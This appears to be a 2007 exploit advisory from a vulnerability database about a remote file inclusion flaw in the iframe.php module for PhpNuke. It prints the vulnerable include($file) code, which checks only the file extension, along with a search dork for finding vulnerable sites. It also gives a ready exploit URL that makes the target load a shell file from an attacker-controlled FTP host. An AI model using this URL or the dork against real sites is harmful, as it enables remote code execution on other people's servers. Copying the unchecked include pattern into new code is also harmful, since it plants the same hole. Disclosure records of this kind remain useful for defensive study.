iFrame for Phpnuke (iframe.php) Remote File Inclusion Vulnerability

🗓️ 19 Mar 2007 00:00:00Reported by RootType

iFrame for Phpnuke (iframe.php) Remote File Inclusion Vulnerability found. Vulnerable file: iframe.php. Exploit method: Remote file inclusion by tampering file parameter


                                                ######################################################
#
#&nbsp;iFRAME&nbsp;for&nbsp;PhpNuke&nbsp;(iframe.php)&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Vulnerabilities
#
######################################################
#
#&nbsp;script&nbsp;:http://www.desarrollonuke.org
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://up.9q9q.net/up/index.php?f=uTRRQnIjG
#
######################################################
#
#&nbsp;file&nbsp;:&nbsp;&nbsp;iframe.php
#
######################################################
#
#&nbsp;Dork&nbsp;:&nbsp;&quot;/nuke/iframe.php&quot;
#
######################################################
#
#&nbsp;Found&nbsp;by&nbsp;&amp;&nbsp;Contact&nbsp;:&nbsp;Cold&nbsp;z3ro&nbsp;,&nbsp;[email protected]&nbsp;,
http://hack-teach.com/
#
######################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(substr($file,-4)!=&quot;.htm&quot;&nbsp;&amp;&amp;&nbsp;substr($file,-5)!=&quot;.html&quot;&nbsp;&amp;&amp;
substr($file,-4)!=&quot;.php&quot;){
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;ERROR:&nbsp;ONLY&nbsp;html,&nbsp;htm&nbsp;or&nbsp;php&nbsp;FILES&quot;;
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseTable();
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;($file);
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
#
######################################################
#
#&nbsp;exploit&nbsp;:
http://www.example.com/nuke_path/iframe.php?file=ftp://user:[email protected]/public_html/shell.html&nbsp;(or)&nbsp;.htm
#
######################################################


----&nbsp;&nbsp;GreeTz:&nbsp;|MoHaNdKo|&nbsp;&nbsp;|Cold&nbsp;One|&nbsp;&nbsp;|Cold&nbsp;ThreE|&nbsp;|Viper&nbsp;Hacker|&nbsp;|The&nbsp;Wolf
KSA|&nbsp;|o0xxdark0o|&nbsp;|OrGanza|&nbsp;|H@mLiT|&nbsp;|Snake12|&nbsp;|Root&nbsp;Shell|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Metoovit|&nbsp;|Fucker_net|&nbsp;|Rageb|&nbsp;|CoDeR|&nbsp;|HuGe|&nbsp;|Str0ke|
|Dr.TaiGaR|&nbsp;|BLacK&nbsp;HackErD|&nbsp;|JEeN&nbsp;HacKer|&nbsp;|Nazy&nbsp;L!unx|&nbsp;|KURTEFENDY|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Spid1r&nbsp;Net|&nbsp;|Big&nbsp;Hacker|&nbsp;|Hacccr|&nbsp;|hacoor|&nbsp;||&nbsp;|Geniral&nbsp;C|
|Mr.TyrAnT|&nbsp;|Zax|&nbsp;|Zooz|&nbsp;|&nbsp;Al&nbsp;3afreat&nbsp;|&nbsp;|The-Falcon-Ksa|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;The&nbsp;Sniper&nbsp;|&nbsp;.&nbsp;|||&nbsp;Team&nbsp;Hell&nbsp;|||&nbsp;|&nbsp;DearMan&nbsp;|&nbsp;|Pro&nbsp;Hacker|&nbsp;|
020&nbsp;|&nbsp;|&nbsp;abdulla00&nbsp;&quot;&nbsp;alz3eem&quot;&nbsp;|&nbsp;|&nbsp;The_Viper&nbsp;|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;All&nbsp;i&nbsp;know


#Big&nbsp;Thx&nbsp;For&nbsp;:&nbsp;www.4azhar.com&nbsp;,&nbsp;Viva&nbsp;My&nbsp;HomeLand&nbsp;Palestine

19 Mar 2007 00:00Current

7.1High risk

Vulners AI Score7.1